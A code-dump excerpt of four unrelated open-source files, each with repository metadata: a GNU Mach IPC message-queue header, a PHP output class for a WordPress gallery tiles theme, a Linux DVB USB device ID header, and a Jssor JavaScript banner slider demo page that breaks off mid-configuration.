* Definitions for message queues.
*/
#ifndef _IPC_IPC_MQUEUE_H_
#define _IPC_IPC_MQUEUE_H_
#include <mach/message.h>
#include <kern/assert.h>
#include <kern/lock.h>
#include <kern/macros.h>
#include <ipc/ipc_kmsg_queue.h>
#include <ipc/ipc_kmsg.h>
#include <ipc/ipc_thread.h>
typedef struct ipc_mqueue {
decl_simple_lock_data(, imq_lock_data)
struct ipc_kmsg_queue imq_messages;
struct ipc_thread_queue imq_threads;
} *ipc_mqueue_t;
#define IMQ_NULL ((ipc_mqueue_t) 0)
#define imq_lock_init(mq) simple_lock_init(&(mq)->imq_lock_data)
#define imq_lock(mq) simple_lock(&(mq)->imq_lock_data)
#define imq_lock_try(mq) simple_lock_try(&(mq)->imq_lock_data)
#define imq_unlock(mq) simple_unlock(&(mq)->imq_lock_data)
extern void
ipc_mqueue_init(ipc_mqueue_t);
extern void
ipc_mqueue_move(ipc_mqueue_t, ipc_mqueue_t, ipc_port_t);
extern void
ipc_mqueue_changed(ipc_mqueue_t, mach_msg_return_t);
extern mach_msg_return_t
ipc_mqueue_send(ipc_kmsg_t, mach_msg_option_t, mach_msg_timeout_t);
extern mach_msg_return_t
ipc_mqueue_copyin(ipc_space_t, mach_port_t, ipc_mqueue_t *, ipc_object_t *);
#define IMQ_NULL_CONTINUE ((void (*)()) 0)
extern mach_msg_return_t
ipc_mqueue_receive(ipc_mqueue_t, mach_msg_option_t,
mach_msg_size_t, mach_msg_timeout_t,
boolean_t, void (*)(),
ipc_kmsg_t *, mach_port_seqno_t *);
/*
* extern void
* ipc_mqueue_send_always(ipc_kmsg_t);
*
* Unfortunately, to avoid warnings/lint about unused variables
* when assertions are turned off, we need two versions of this.
*/
#include <kern/assert.h>
#if MACH_ASSERT
#define ipc_mqueue_send_always(kmsg) \
MACRO_BEGIN \
mach_msg_return_t mr; \
\
mr = ipc_mqueue_send((kmsg), MACH_SEND_ALWAYS, \
MACH_MSG_TIMEOUT_NONE); \
assert(mr == MACH_MSG_SUCCESS); \
MACRO_END
#else /* MACH_ASSERT */
#define ipc_mqueue_send_always(kmsg) \
MACRO_BEGIN \
(void) ipc_mqueue_send((kmsg), MACH_SEND_ALWAYS, \
MACH_MSG_TIMEOUT_NONE); \
MACRO_END
#endif /* MACH_ASSERT */
#endif /* _IPC_IPC_MQUEUE_H_ */
|
quan-na/gnumach
|
ipc/ipc_mqueue.h
|
C
|
gpl-2.0
| 3,164 |
<?php
defined('_JEXEC') or die('Restricted access');
class UGTilesColumnsOutput extends UGMainOutput{
/**
*
* construct the output object
*/
public function __construct(){
$this->theme = UGMainOutput::THEME_TILES;
$this->isTilesType = true;
parent::__construct();
}
/**
* modify options
*/
protected function modifyOptions(){
parent::modifyOptions();
//set tiles_align if position is not center
$position = $this->getParam("position");
if($position == "left" || $position == "right")
$this->arrParams["tiles_align"] = $position;
}
/**
*
* put theme related scripts
*/
protected function putScripts($putSkins = true){
parent::putScripts();
if($this->putJsToBody == false)
HelperGalleryUG::addScriptAbsoluteUrl($this->urlPlugin."themes/tiles/ug-theme-tiles.js", "unitegallery_tiles_theme");
}
/**
* put javascript includes to the body before the gallery div
*/
protected function putJsIncludesToBody(){
$output = parent::putJsIncludesToBody();
$src = $this->urlPlugin."themes/tiles/ug-theme-tiles.js";
$output .= "<script type='text/javascript' src='{$src}'></script>";
return($output);
}
/**
* get theme options override
*/
protected function getArrJsOptions(){
$arr = parent::getArrJsOptions();
$arr[] = $this->buildJsParam("theme_gallery_padding", self::VALIDATE_NUMERIC, self::TYPE_NUMBER);
$arr[] = $this->buildJsParam("tiles_col_width", self::VALIDATE_NUMERIC, self::TYPE_NUMBER);
$arr[] = $this->buildJsParam("tiles_space_between_cols", self::VALIDATE_NUMERIC, self::TYPE_NUMBER);
$arr[] = $this->buildJsParam("tiles_set_initial_height", null, self::TYPE_BOOLEAN);
$arr[] = $this->buildJsParam("theme_enable_preloader", null, self::TYPE_BOOLEAN);
$arr[] = $this->buildJsParam("theme_preloading_height", self::VALIDATE_NUMERIC, self::TYPE_NUMBER);
$arr[] = $this->buildJsParam("theme_preloader_vertpos", self::VALIDATE_NUMERIC, self::TYPE_NUMBER);
$arr[] = $this->buildJsParam("tiles_enable_transition", null, self::TYPE_BOOLEAN);
$arr[] = $this->buildJsParam("tiles_align"); //param not in settings
return($arr);
}
}
?>
|
silverboxdev/shottsyarts.com
|
wp-content/plugins/unitegallery/galleries/ugcore_tilescolumns/inc_php/output.class.php
|
PHP
|
gpl-2.0
| 2,346 |
/* dvb-usb-ids.h is part of the DVB USB library.
*
* Copyright (C) 2004-5 Patrick Boettcher ([email protected]) see
* dvb-usb-init.c for copyright information.
*
* a header file containing define's for the USB device supported by the
* various drivers.
*/
#ifndef _DVB_USB_IDS_H_
#define _DVB_USB_IDS_H_
/* Vendor IDs */
#define USB_VID_ADSTECH 0x06e1
#define USB_VID_ANCHOR 0x0547
#define USB_VID_WIDEVIEW 0x14aa
#define USB_VID_AVERMEDIA 0x07ca
#define USB_VID_COMPRO 0x185b
#define USB_VID_COMPRO_UNK 0x145f
#define USB_VID_CYPRESS 0x04b4
#define USB_VID_DIBCOM 0x10b8
#define USB_VID_DVICO 0x0fe9
#define USB_VID_EMPIA 0xeb1a
#define USB_VID_GRANDTEC 0x5032
#define USB_VID_HANFTEK 0x15f4
#define USB_VID_HAUPPAUGE 0x2040
#define USB_VID_HYPER_PALTEK 0x1025
#define USB_VID_KWORLD 0xeb2a
#define USB_VID_KYE 0x0458
#define USB_VID_MEDION 0x1660
#define USB_VID_PINNACLE 0x2304
#define USB_VID_VISIONPLUS 0x13d3
#define USB_VID_TWINHAN 0x1822
#define USB_VID_ULTIMA_ELECTRONIC 0x05d8
/* Product IDs */
#define USB_PID_ADSTECH_USB2_COLD 0xa333
#define USB_PID_ADSTECH_USB2_WARM 0xa334
#define USB_PID_AVERMEDIA_DVBT_USB_COLD 0x0001
#define USB_PID_AVERMEDIA_DVBT_USB_WARM 0x0002
#define USB_PID_AVERMEDIA_DVBT_USB2_COLD 0xa800
#define USB_PID_AVERMEDIA_DVBT_USB2_WARM 0xa801
#define USB_PID_COMPRO_DVBU2000_COLD 0xd000
#define USB_PID_COMPRO_DVBU2000_WARM 0xd001
#define USB_PID_COMPRO_DVBU2000_UNK_COLD 0x010c
#define USB_PID_COMPRO_DVBU2000_UNK_WARM 0x010d
#define USB_PID_DIBCOM_HOOK_DEFAULT 0x0064
#define USB_PID_DIBCOM_HOOK_DEFAULT_REENUM 0x0065
#define USB_PID_DIBCOM_MOD3000_COLD 0x0bb8
#define USB_PID_DIBCOM_MOD3000_WARM 0x0bb9
#define USB_PID_DIBCOM_MOD3001_COLD 0x0bc6
#define USB_PID_DIBCOM_MOD3001_WARM 0x0bc7
#define USB_PID_DIBCOM_STK7700 0x1e14
#define USB_PID_DIBCOM_STK7700_REENUM 0x1e15
#define USB_PID_DIBCOM_ANCHOR_2135_COLD 0x2131
#define USB_PID_GRANDTEC_DVBT_USB_COLD 0x0fa0
#define USB_PID_GRANDTEC_DVBT_USB_WARM 0x0fa1
#define USB_PID_KWORLD_VSTREAM_COLD 0x17de
#define USB_PID_KWORLD_VSTREAM_WARM 0x17df
#define USB_PID_TWINHAN_VP7041_COLD 0x3201
#define USB_PID_TWINHAN_VP7041_WARM 0x3202
#define USB_PID_TWINHAN_VP7020_COLD 0x3203
#define USB_PID_TWINHAN_VP7020_WARM 0x3204
#define USB_PID_TWINHAN_VP7045_COLD 0x3205
#define USB_PID_TWINHAN_VP7045_WARM 0x3206
#define USB_PID_TWINHAN_VP7021_COLD 0x3207
#define USB_PID_TWINHAN_VP7021_WARM 0x3208
#define USB_PID_DNTV_TINYUSB2_COLD 0x3223
#define USB_PID_DNTV_TINYUSB2_WARM 0x3224
#define USB_PID_ULTIMA_TVBOX_COLD 0x8105
#define USB_PID_ULTIMA_TVBOX_WARM 0x8106
#define USB_PID_ULTIMA_TVBOX_AN2235_COLD 0x8107
#define USB_PID_ULTIMA_TVBOX_AN2235_WARM 0x8108
#define USB_PID_ULTIMA_TVBOX_ANCHOR_COLD 0x2235
#define USB_PID_ULTIMA_TVBOX_USB2_COLD 0x8109
#define USB_PID_ULTIMA_TVBOX_USB2_WARM 0x810a
#define USB_PID_ULTIMA_TVBOX_USB2_FX_COLD 0x8613
#define USB_PID_ULTIMA_TVBOX_USB2_FX_WARM 0x1002
#define USB_PID_UNK_HYPER_PALTEK_COLD 0x005e
#define USB_PID_UNK_HYPER_PALTEK_WARM 0x005f
#define USB_PID_HANFTEK_UMT_010_COLD 0x0001
#define USB_PID_HANFTEK_UMT_010_WARM 0x0015
#define USB_PID_DTT200U_COLD 0x0201
#define USB_PID_DTT200U_WARM 0x0301
#define USB_PID_WT220U_COLD 0x0222
#define USB_PID_WT220U_WARM 0x0221
#define USB_PID_WINTV_NOVA_T_USB2_COLD 0x9300
#define USB_PID_WINTV_NOVA_T_USB2_WARM 0x9301
#define USB_PID_NEBULA_DIGITV 0x0201
#define USB_PID_DVICO_BLUEBIRD_LGDT 0xd820
#define USB_PID_DVICO_BLUEBIRD_LG064F_COLD 0xd500
#define USB_PID_DVICO_BLUEBIRD_LG064F_WARM 0xd501
#define USB_PID_DVICO_BLUEBIRD_LGZ201_COLD 0xdb00
#define USB_PID_DVICO_BLUEBIRD_LGZ201_WARM 0xdb01
#define USB_PID_DVICO_BLUEBIRD_TH7579_COLD 0xdb10
#define USB_PID_DVICO_BLUEBIRD_TH7579_WARM 0xdb11
#define USB_PID_DVICO_BLUEBIRD_DEE1601_COLD 0xdb50
#define USB_PID_DVICO_BLUEBIRD_DEE1601_WARM 0xdb51
#define USB_PID_DIGITALNOW_BLUEBIRD_DEE1601_COLD 0xdb54
#define USB_PID_DIGITALNOW_BLUEBIRD_DEE1601_WARM 0xdb55
#define USB_PID_MEDION_MD95700 0x0932
#define USB_PID_KYE_DVB_T_COLD 0x701e
#define USB_PID_KYE_DVB_T_WARM 0x701f
#define USB_PID_PCTV_200E 0x020e
#define USB_PID_PCTV_400E 0x020f
#endif
|
odit/rv042
|
linux/kernel_2.6/linux/drivers/media/dvb/dvb-usb/dvb-usb-ids.h
|
C
|
gpl-2.0
| 4,288 |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>Banner Rotator Demo - Jssor Slider, Slideshow with Javascript Source Code</title>
</head>
<body style="background:#fff;">
<!-- Caption Style -->
<style>
.captionOrange, .captionBlack
{
color: #fff;
font-size: 20px;
line-height: 30px;
text-align: center;
border-radius: 4px;
}
.captionOrange
{
background: #EB5100;
background-color: rgba(235, 81, 0, 0.6);
}
.captionBlack
{
font-size:16px;
background: #000;
background-color: rgba(0, 0, 0, 0.4);
}
a.captionOrange, A.captionOrange:active, A.captionOrange:visited
{
color: #ffffff;
text-decoration: none;
}
a.captionOrange:hover
{
color: #eb5100;
text-decoration: underline;
background-color: #eeeeee;
background-color: rgba(238, 238, 238, 0.7);
}
.bricon
{
background: url(../img/browser-icons.png);
}
</style>
<!-- use jssor.slider.min.js instead for release -->
<!-- jssor.slider.min.js = (jssor.core.js + jssor.utils.js + jssor.slider.js) -->
<script type="text/javascript" src="../js/jssor.core.js"></script>
<script type="text/javascript" src="../js/jssor.utils.js"></script>
<script type="text/javascript" src="../js/jssor.slider.js"></script>
<script>
jssor_slider1_starter = function (containerId) {
//Reference http://www.jssor.com/developement/slider-with-slideshow.html
//Reference http://www.jssor.com/developement/tool-slideshow-transition-viewer.html
var _SlideshowTransitions = [
//["Rotate Overlap"]
{$Duration: 1200, $Zoom: 11, $Rotate: -1, $Easing: { $Zoom: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $Opacity: 2, $Round: { $Rotate: 0.5 }, $Brother: { $Duration: 1200, $Zoom: 1, $Rotate: 1, $Easing: $JssorEasing$.$EaseSwing, $Opacity: 2, $Round: { $Rotate: 0.5 }, $Shift: 90} }
//["Switch"]
, { $Duration: 1400, $Zoom: 1.5, $FlyDirection: 1, $Easing: { $Left: $JssorEasing$.$EaseInWave, $Zoom: $JssorEasing$.$EaseInSine }, $ScaleHorizontal: 0.25, $Opacity: 2, $ZIndex: -10, $Brother: { $Duration: 1400, $Zoom: 1.5, $FlyDirection: 2, $Easing: { $Left: $JssorEasing$.$EaseInWave, $Zoom: $JssorEasing$.$EaseInSine }, $ScaleHorizontal: 0.25, $Opacity: 2, $ZIndex: -10} }
//["Rotate Relay"]
, { $Duration: 1200, $Zoom: 11, $Rotate: 1, $Easing: { $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $Opacity: 2, $Round: { $Rotate: 1 }, $ZIndex: -10, $Brother: { $Duration: 1200, $Zoom: 11, $Rotate: -1, $Easing: { $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $Opacity: 2, $Round: { $Rotate: 1 }, $ZIndex: -10, $Shift: 600} }
//["Doors"]
, { $Duration: 1500, $Cols: 2, $FlyDirection: 1, $ChessMode: { $Column: 3 }, $Easing: { $Left: $JssorEasing$.$EaseInOutCubic }, $ScaleHorizontal: 0.5, $Opacity: 2, $Brother: { $Duration: 1500, $Opacity: 2} }
//["Rotate in+ out-"]
, { $Duration: 1500, $Zoom: 1, $Rotate: 0.1, $During: { $Left: [0.6, 0.4], $Top: [0.6, 0.4], $Rotate: [0.6, 0.4], $Zoom: [0.6, 0.4] }, $FlyDirection: 6, $Easing: { $Left: $JssorEasing$.$EaseInQuad, $Top: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $ScaleHorizontal: 0.3, $ScaleVertical: 0.5, $Opacity: 2, $Brother: { $Duration: 1000, $Zoom: 11, $Rotate: -0.5, $Easing: { $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $Opacity: 2, $Shift: 200} }
//["Fly Twins"]
, { $Duration: 1500, $During: { $Left: [0.6, 0.4] }, $FlyDirection: 1, $Easing: { $Left: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseLinear }, $ScaleHorizontal: 0.3, $Opacity: 2, $Outside: true, $Brother: { $Duration: 1000, $FlyDirection: 2, $Easing: { $Left: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseLinear }, $ScaleHorizontal: 0.3, $Opacity: 2} }
//["Rotate in- out+"]
, { $Duration: 1500, $Zoom: 11, $Rotate: 0.5, $During: { $Left: [0.4, 0.6], $Top: [0.4, 0.6], $Rotate: [0.4, 0.6], $Zoom: [0.4, 0.6] }, $Easing: { $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $ScaleHorizontal: 0.3, $ScaleVertical: 0.5, $Opacity: 2, $Brother: { $Duration: 1000, $Zoom: 1, $Rotate: -0.5, $Easing: { $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $Opacity: 2, $Shift: 200} }
//["Rotate Axis up overlap"]
, { $Duration: 1200, $Rotate: -0.1, $FlyDirection: 5, $Easing: { $Left: $JssorEasing$.$EaseInQuad, $Top: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $ScaleHorizontal: 0.25, $ScaleVertical: 0.5, $Opacity: 2, $Brother: { $Duration: 1200, $Rotate: 0.1, $FlyDirection: 10, $Easing: { $Left: $JssorEasing$.$EaseInQuad, $Top: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $ScaleHorizontal: 0.1, $ScaleVertical: 0.7, $Opacity: 2} }
//["Chess Replace TB"]
, { $Duration: 1600, $Rows: 2, $FlyDirection: 1, $ChessMode: { $Row: 3 }, $Easing: { $Left: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2, $Brother: { $Duration: 1600, $Rows: 2, $FlyDirection: 2, $ChessMode: { $Row: 3 }, $Easing: { $Left: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2} }
//["Chess Replace LR"]
, { $Duration: 1600, $Cols: 2, $FlyDirection: 8, $ChessMode: { $Column: 12 }, $Easing: { $Top: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2, $Brother: { $Duration: 1600, $Cols: 2, $FlyDirection: 4, $ChessMode: { $Column: 12 }, $Easing: { $Top: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2} }
//["Shift TB"]
, { $Duration: 1200, $FlyDirection: 4, $Easing: { $Top: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2, $Brother: { $Duration: 1200, $FlyDirection: 8, $Easing: { $Top: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2} }
//["Shift LR"]
, { $Duration: 1200, $FlyDirection: 1, $Easing: { $Left: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2, $Brother: { $Duration: 1200, $FlyDirection: 2, $Easing: { $Left: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2} }
//["Return TB"]
, { $Duration: 1200, $FlyDirection: 8, $Easing: { $Top: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2, $ZIndex: -10, $Brother: { $Duration: 1200, $FlyDirection: 8, $Easing: { $Top: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2, $ZIndex: -10, $Shift: -100} }
//["Return LR"]
, { $Duration: 1200, $Delay: 40, $Cols: 6, $FlyDirection: 1, $Formation: $JssorSlideshowFormations$.$FormationStraight, $Easing: { $Left: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2, $ZIndex: -10, $Brother: { $Duration: 1200, $Delay: 40, $Cols: 6, $FlyDirection: 1, $Formation: $JssorSlideshowFormations$.$FormationStraight, $Easing: { $Top: $JssorEasing$.$EaseInOutQuart, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2, $ZIndex: -10, $Shift: -100} }
//["Rotate Axis down"]
, { $Duration: 1500, $Rotate: 0.1, $During: { $Left: [0.6, 0.4], $Top: [0.6, 0.4], $Rotate: [0.6, 0.4] }, $FlyDirection: 10, $Easing: { $Left: $JssorEasing$.$EaseInQuad, $Top: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $ScaleHorizontal: 0.1, $ScaleVertical: 0.7, $Opacity: 2, $Brother: { $Duration: 1000, $Rotate: -0.1, $FlyDirection: 5, $Easing: { $Left: $JssorEasing$.$EaseInQuad, $Top: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $ScaleHorizontal: 0.2, $ScaleVertical: 0.5, $Opacity: 2} }
//["Extrude Replace"]
, { $Duration: 1600, $Delay: 40, $Cols: 12, $During: { $Left: [0.4, 0.6] }, $SlideOut: true, $FlyDirection: 2, $Formation: $JssorSlideshowFormations$.$FormationStraight, $Assembly: 260, $Easing: { $Left: $JssorEasing$.$EaseInOutExpo, $Opacity: $JssorEasing$.$EaseInOutQuad }, $ScaleHorizontal: 0.2, $Opacity: 2, $Outside: true, $Round: { $Top: 0.5 }, $Brother: { $Duration: 1000, $Delay: 40, $Cols: 12, $FlyDirection: 1, $Formation: $JssorSlideshowFormations$.$FormationStraight, $Assembly: 1028, $Easing: { $Left: $JssorEasing$.$EaseInOutExpo, $Opacity: $JssorEasing$.$EaseInOutQuad }, $ScaleHorizontal: 0.2, $Opacity: 2, $Round: { $Top: 0.5}} }
];
var _CaptionTransitions = [
//CLIP|LR
{$Duration: 900, $Clip: 3, $Easing: $JssorEasing$.$EaseInOutCubic },
//CLIP|TB
{$Duration: 900, $Clip: 12, $Easing: $JssorEasing$.$EaseInOutCubic },
//DDGDANCE|LB
{$Duration: 1800, $Zoom: 1, $FlyDirection: 9, $Easing: { $Left: $JssorEasing$.$EaseInJump, $Top: $JssorEasing$.$EaseInJump, $Zoom: $JssorEasing$.$EaseOutQuad }, $ScaleHorizontal: 0.3, $ScaleVertical: 0.3, $Opacity: 2, $During: { $Left: [0, 0.8], $Top: [0, 0.8] }, $Round: { $Left: 0.8, $Top: 2.5} },
//DDGDANCE|RB
{$Duration: 1800, $Zoom: 1, $FlyDirection: 10, $Easing: { $Left: $JssorEasing$.$EaseInJump, $Top: $JssorEasing$.$EaseInJump, $Zoom: $JssorEasing$.$EaseOutQuad }, $ScaleHorizontal: 0.3, $ScaleVertical: 0.3, $Opacity: 2, $During: { $Left: [0, 0.8], $Top: [0, 0.8] }, $Round: { $Left: 0.8, $Top: 2.5} },
//TORTUOUS|HL
{$Duration: 1500, $Zoom: 1, $FlyDirection: 1, $Easing: { $Left: $JssorEasing$.$EaseOutWave, $Zoom: $JssorEasing$.$EaseOutCubic }, $ScaleHorizontal: 0.2, $Opacity: 2, $During: { $Left: [0, 0.7] }, $Round: { $Left: 1.3} },
//TORTUOUS|VB
{$Duration: 1500, $Zoom: 1, $FlyDirection: 8, $Easing: { $Top: $JssorEasing$.$EaseOutWave, $Zoom: $JssorEasing$.$EaseOutCubic }, $ScaleVertical: 0.2, $Opacity: 2, $During: { $Top: [0, 0.7] }, $Round: { $Top: 1.3} },
//ZMF|10
{$Duration: 600, $Zoom: 11, $Easing: { $Zoom: $JssorEasing$.$EaseInExpo, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2 },
//ZML|R
{$Duration: 600, $Zoom: 11, $FlyDirection: 2, $Easing: { $Left: $JssorEasing$.$EaseInCubic, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.6, $Opacity: 2 },
//ZML|B
{$Duration: 600, $Zoom: 11, $FlyDirection: 8, $Easing: { $Top: $JssorEasing$.$EaseInCubic, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleVertical: 0.6, $Opacity: 2 },
//ZMS|B
{$Duration: 700, $Zoom: 1, $FlyDirection: 8, $Easing: { $Top: $JssorEasing$.$EaseInCubic, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleVertical: 0.6, $Opacity: 2 },
//ZM*JDN|LB
{$Duration: 1200, $Zoom: 11, $FlyDirection: 9, $Easing: { $Left: $JssorEasing$.$EaseLinear, $Top: $JssorEasing$.$EaseOutCubic, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.8, $ScaleVertical: 0.5, $Opacity: 2, $During: { $Top: [0, 0.5]} },
//ZM*JUP|LB
{$Duration: 1200, $Zoom: 11, $FlyDirection: 9, $Easing: { $Left: $JssorEasing$.$EaseLinear, $Top: $JssorEasing$.$EaseInCubic, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.8, $ScaleVertical: 0.5, $Opacity: 2, $During: { $Top: [0, 0.5]} },
//ZM*JUP|RB
{$Duration: 1200, $Zoom: 11, $FlyDirection: 10, $Easing: { $Left: $JssorEasing$.$EaseLinear, $Top: $JssorEasing$.$EaseInCubic, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.8, $ScaleVertical: 0.5, $Opacity: 2, $During: { $Top: [0, 0.5]} },
//ZM*WVR|LT
{$Duration: 1200, $Zoom: 11, $FlyDirection: 5, $Easing: { $Left: $JssorEasing$.$EaseLinear, $Top: $JssorEasing$.$EaseInWave }, $ScaleHorizontal: 0.5, $ScaleVertical: 0.3, $Opacity: 2, $Round: { $Rotate: 0.8} },
//ZM*WVR|RT
{$Duration: 1200, $Zoom: 11, $FlyDirection: 6, $Easing: { $Left: $JssorEasing$.$EaseLinear, $Top: $JssorEasing$.$EaseInWave }, $ScaleHorizontal: 0.5, $ScaleVertical: 0.3, $Opacity: 2, $Round: { $Rotate: 0.8} },
//ZM*WVR|TL
{$Duration: 1200, $Zoom: 11, $FlyDirection: 5, $Easing: { $Left: $JssorEasing$.$EaseInWave, $Top: $JssorEasing$.$EaseLinear }, $ScaleHorizontal: 0.3, $ScaleVertical: 0.5, $Opacity: 2, $Round: { $Rotate: 0.8} },
//ZM*WVR|BL
{$Duration: 1200, $Zoom: 11, $FlyDirection: 9, $Easing: { $Left: $JssorEasing$.$EaseInWave, $Top: $JssorEasing$.$EaseLinear }, $ScaleHorizontal: 0.3, $ScaleVertical: 0.5, $Opacity: 2, $Round: { $Rotate: 0.8} },
//RTT|10
{$Duration: 700, $Zoom: 11, $Rotate: 1, $Easing: { $Zoom: $JssorEasing$.$EaseInExpo, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInExpo }, $Opacity: 2, $Round: { $Rotate: 0.8} },
//RTTL|R
{$Duration: 700, $Zoom: 11, $Rotate: 1, $FlyDirection: 2, $Easing: { $Left: $JssorEasing$.$EaseInCubic, $Zoom: $JssorEasing$.$EaseInCubic, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.6, $Opacity: 2, $Round: { $Rotate: 0.8} },
//RTTL|B
{$Duration: 700, $Zoom: 11, $Rotate: 1, $FlyDirection: 8, $Easing: { $Top: $JssorEasing$.$EaseInCubic, $Zoom: $JssorEasing$.$EaseInCubic, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInCubic }, $ScaleVertical: 0.6, $Opacity: 2, $Round: { $Rotate: 0.8} },
//RTTS|R
{$Duration: 700, $Zoom: 1, $Rotate: 1, $FlyDirection: 2, $Easing: { $Left: $JssorEasing$.$EaseInQuad, $Zoom: $JssorEasing$.$EaseInQuad, $Rotate: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseOutQuad }, $ScaleHorizontal: 0.6, $Opacity: 2, $Round: { $Rotate: 1.2} },
//RTTS|B
{$Duration: 700, $Zoom: 1, $Rotate: 1, $FlyDirection: 8, $Easing: { $Top: $JssorEasing$.$EaseInQuad, $Zoom: $JssorEasing$.$EaseInQuad, $Rotate: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseOutQuad }, $ScaleVertical: 0.6, $Opacity: 2, $Round: { $Rotate: 1.2} },
//RTT*JDN|RT
{$Duration: 1000, $Zoom: 11, $Rotate: .2, $FlyDirection: 6, $Easing: { $Left: $JssorEasing$.$EaseLinear, $Top: $JssorEasing$.$EaseOutCubic, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.8, $ScaleVertical: 0.5, $Opacity: 2, $During: { $Top: [0, 0.5]} },
//RTT*JDN|LB
{$Duration: 1000, $Zoom: 11, $Rotate: .2, $FlyDirection: 9, $Easing: { $Left: $JssorEasing$.$EaseLinear, $Top: $JssorEasing$.$EaseOutCubic, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.8, $ScaleVertical: 0.5, $Opacity: 2, $During: { $Top: [0, 0.5]} },
//RTT*JUP|RB
{$Duration: 1000, $Zoom: 11, $Rotate: .2, $FlyDirection: 10, $Easing: { $Left: $JssorEasing$.$EaseLinear, $Top: $JssorEasing$.$EaseInCubic, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.8, $ScaleVertical: 0.5, $Opacity: 2, $During: { $Top: [0, 0.5]} },
{ $Duration: 1200, $Zoom: 11, $Rotate: true, $FlyDirection: 6, $Easing: { $Left: $JssorEasing$.$EaseInCubic, $Top: $JssorEasing$.$EaseLinear, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.5, $ScaleVertical: 0.8, $Opacity: 2, $During: { $Left: [0, 0.5] }, $Round: { $Rotate: 0.5} },
//RTT*JUP|BR
{$Duration: 1000, $Zoom: 11, $Rotate: .2, $FlyDirection: 10, $Easing: { $Left: $JssorEasing$.$EaseInCubic, $Top: $JssorEasing$.$EaseLinear, $Zoom: $JssorEasing$.$EaseInCubic }, $ScaleHorizontal: 0.5, $ScaleVertical: 0.8, $Opacity: 2, $During: { $Left: [0, 0.5]} },
//R|IB
{$Duration: 900, $FlyDirection: 2, $Easing: { $Left: $JssorEasing$.$EaseInOutBack }, $ScaleHorizontal: 0.6, $Opacity: 2 },
//B|IB
{$Duration: 900, $FlyDirection: 8, $Easing: { $Top: $JssorEasing$.$EaseInOutBack }, $ScaleVertical: 0.6, $Opacity: 2 },
];
var options = {
$AutoPlay: true, //[Optional] Whether to auto play, to enable slideshow, this option must be set to true, default value is false
$AutoPlaySteps: 1, //[Optional] Steps to go for each navigation request (this options applys only when slideshow disabled), the default value is 1
$AutoPlayInterval: 4000, //[Optional] Interval (in milliseconds) to go for next slide since the previous stopped if the slider is auto playing, default value is 3000
$PauseOnHover: 0, //[Optional] Whether to pause when mouse over if a slider is auto playing, 0 no pause, 1 pause for desktop, 2 pause for touch device, 3 pause for desktop and touch device, default value is 3
$ArrowKeyNavigation: true, //[Optional] Allows keyboard (arrow key) navigation or not, default value is false
$SlideDuration: 500, //[Optional] Specifies default duration (swipe) for slide in milliseconds, default value is 500
$MinDragOffsetToSlide: 20, //[Optional] Minimum drag offset to trigger slide , default value is 20
//$SlideWidth: 600, //[Optional] Width of every slide in pixels, default value is width of 'slides' container
